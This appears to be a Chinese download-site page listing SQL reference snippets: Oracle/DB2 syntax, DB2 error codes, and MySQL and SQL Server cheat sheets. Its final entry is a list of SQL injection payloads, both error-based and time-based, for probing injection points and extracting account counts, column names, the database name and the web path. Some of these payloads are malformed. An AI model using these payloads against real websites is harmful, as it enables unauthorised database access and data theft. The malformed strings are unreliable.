SQL查询技巧涵盖空值处理、条件查询、排序、字符串转换、聚合函数、子查询、分组、联接操作等多个方面。
DB2常用语句的精华总结
相关推荐
SQL常用语句的综合总结
SQL常用语句的详尽总结,包括常见的语法和用法。
SQLServer
2
2024-07-29
Oracle与DB2常用语法对比
Oracle与DB2常用语法对比
本内容主要对比Oracle和DB2数据库在常见语法方面的差异,特别是在提取前N条记录时的语法区别。
1. 提取前N条记录
Oracle: 使用ROWNUM关键字,例如:SELECT * FROM TableName WHERE ROWNUM <= N;
DB2: 使用FETCH FIRST子句,例如:SELECT * FROM TableName FETCH FIRST N ROWS ONLY;
2. DB2错误信息查询
当使用COBOL连接DB2数据库时,遇到错误信息,可通过以下方式查询:
使用DB2命令行工具,输入 db2 ? SQLCODE (将SQLCODE替换为实际的错误代码),例如: db2 ? SQL30081N。系统会返回该错误代码的详细信息及相关解释。
以下列出了一些常见的DB2错误代码及其含义,方便用户快速了解问题原因:
| SQLCODE | SQLSTATE | 错误信息 || :------- | :------- | :--------------------------------------------------------------------------------------- || 00000 | | SQL语句成功完成 || 01xxx | | SQL语句成功完成,但是有警告 || +012 | 01545 | 未限定的列名被解释为一个有相互关系的引用 || +098 | 01568 | 动态SQL语句用分号结束 || +100 | 02000 | 没有找到满足SQL语句的行 || +110 | 01561 | 用DATA CAPTURE定义的表的更新操作不能发送到原来的子系统 || +111 | 01590 | 为2型索引设置了SUBPAGES语句 || +117 | 01525 | 要插入的值的个数不等于被插入表的列数 || +162 | 01514 | 指定的表空间被置为检查挂起状态 || +203 | 01552 | 使用非唯一的名字来解决命名的限定列 || +204 | 01532 | 命名的对象未在DB2中定义 || +206 | 01533 | 命名的列不在SQL语句中指定的任何表中存在 || +218 | 01537 | 因为SQL语句引用一个远程对象,不能为该SQL语句执行EXPLAIN || +219 | 01532 | 命名的PLAN TABLE不存在 || +220 | 01546 | 不正确定义PLAN TABLE,检查命名列的定义 || +236 | 01005 | SQLDA中的SQLN的值至少应于所描述的列的个数一样大 || +237 | 01594 | 至少有一个被描述的列应该是单值类型,因此扩展的SQLVAR条目需要另外的空间 || +238 | 01005 | 至少应有一个被描述的列是一个LOB,因此扩展的SQLVAR条目需要另外的空间 || +239 | 01005 | 至少应有一个被描述的列应是单值类型,因此扩展的SQLVAR条目需要另外的空间 || +304 | 01515 | 该值不能被分配给宿主变量,因为该值不再数据类型的范围之内 || +331 | 01520 | 不能被翻译的字符串,因此被设置为NULL || +339 | 01569 | 由于与DB2 2.2版本的子系统连接,所以可能存在字符转换问题 || +394 | 01629 | 使用优化提示来选择访问路径 || +395 | 01628 | 设置了无效的优化提示,原因代码指定了为什么,忽略优化提示 || +402 | 01521 | 未知的位置 || +403 | 015 | ... |
DB2
4
2024-05-19
MySQL常用语句
MySQL常用语句
1. 查询数据
SELECT * FROM 表名; 查询表中所有数据
SELECT 列名1, 列名2 FROM 表名; 查询指定列的数据
SELECT * FROM 表名 WHERE 条件; 根据条件查询数据
2. 插入数据
INSERT INTO 表名 (列名1, 列名2) VALUES (值1, 值2); 插入数据到指定列
3. 更新数据
UPDATE 表名 SET 列名1 = 值1 WHERE 条件; 根据条件更新数据
4. 删除数据
DELETE FROM 表名 WHERE 条件; 根据条件删除数据
5. 创建表
CREATE TABLE 表名 (列名1 数据类型, 列名2 数据类型); 创建新表
6. 删除表
DROP TABLE 表名; 删除表
7. 修改表结构
ALTER TABLE 表名 ADD 列名 数据类型; 添加列
ALTER TABLE 表名 DROP COLUMN 列名; 删除列
ALTER TABLE 表名 MODIFY COLUMN 列名 数据类型; 修改列的数据类型
MySQL
4
2024-05-12
SQL 常用语句速查
掌握常用的 SQL 语句,能帮助您更高效地进行数据库操作。
SQLServer
2
2024-05-25
SQL Server 常用语句
聚合函数
COUNT(*):统计行数
SUM(column):求和
AVG(column):计算平均值
MAX(column):查找最大值
MIN(column):查找最小值
数据筛选
WHERE column operator value:根据条件筛选行
LIKE:模糊匹配
IN:指定多个值进行匹配
BETWEEN:指定值的范围
数据排序
ORDER BY column ASC:升序排序
ORDER BY column DESC:降序排序
数据分组
GROUP BY column:根据指定列分组
HAVING:对分组后的结果进行筛选
数据连接
INNER JOIN:返回两个表中匹配的行
LEFT JOIN:返回左表的所有行和右表匹配的行
RIGHT JOIN:返回右表的所有行和左表匹配的行
数据更新
UPDATE table SET column = value WHERE condition:更新表数据
数据插入
INSERT INTO table (column1, column2, ...) VALUES (value1, value2, ...):向表中插入数据
数据删除
DELETE FROM table WHERE condition:从表中删除数据
SQLServer
5
2024-05-27
SQL 常用语句速查
数据查询
查询所有列: SELECT * FROM 表名;
查询指定列: SELECT 列1, 列2 FROM 表名;
条件查询: SELECT * FROM 表名 WHERE 条件;
排序: SELECT * FROM 表名 ORDER BY 列名 [ASC|DESC];
限制结果数量: SELECT * FROM 表名 LIMIT 数量;
数据操作
插入数据: INSERT INTO 表名 (列1, 列2) VALUES (值1, 值2);
更新数据: UPDATE 表名 SET 列1 = 值1, 列2 = 值2 WHERE 条件;
删除数据: DELETE FROM 表名 WHERE 条件;
表操作
创建表: CREATE TABLE 表名 (列名 数据类型, ...);
修改表结构: ALTER TABLE 表名 操作;
删除表: DROP TABLE 表名;
其他常用语句
分组统计: SELECT 列1, COUNT(*) FROM 表名 GROUP BY 列1;
连接查询: SELECT * FROM 表1 JOIN 表2 ON 连接条件;
子查询: SELECT * FROM 表1 WHERE 列1 IN (SELECT 列1 FROM 表2);
SQLServer
3
2024-05-27
SQL常用语句宝典
涵盖了各种常用的SQL语句,无论你是刚入门的小白,还是经验丰富的老手,都能在这里找到你需要的SQL语句,助力你的数据库操作!
SQLServer
3
2024-05-28
Oracle常用语句集锦
这份资源收录了Oracle常见的操作语句,非常实用...
Oracle
2
2024-07-30
SQL注入常用语句
常用语句:
判断注入点:-1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN SLEEP(5) ELSE 0 END)) FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY CHARSET))a)) AND (-1)--+
猜帐号数目:-1 AND (SELECT COUNT(),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN COUNT() ELSE 0 END)) FROM INFORMATION_SCHEMA.USERS GROUP BY USER))a)) AND (-1)--+
猜解字段名称:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN COLUMN_NAME ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
猜解字符:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN SUBSTRING(0x74657374,1,1) ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
得到库名:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN DATABASE() ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
得到WEB路径:-1 AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN 1 ELSE 0 END)),(SELECT (CASE WHEN (666=666) THEN @@basedir ELSE 0 END)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x74657374))a)) AND (-1)--+
查询构造:0' union select 1,2,3,4--+
SQLServer
7
2024-04-30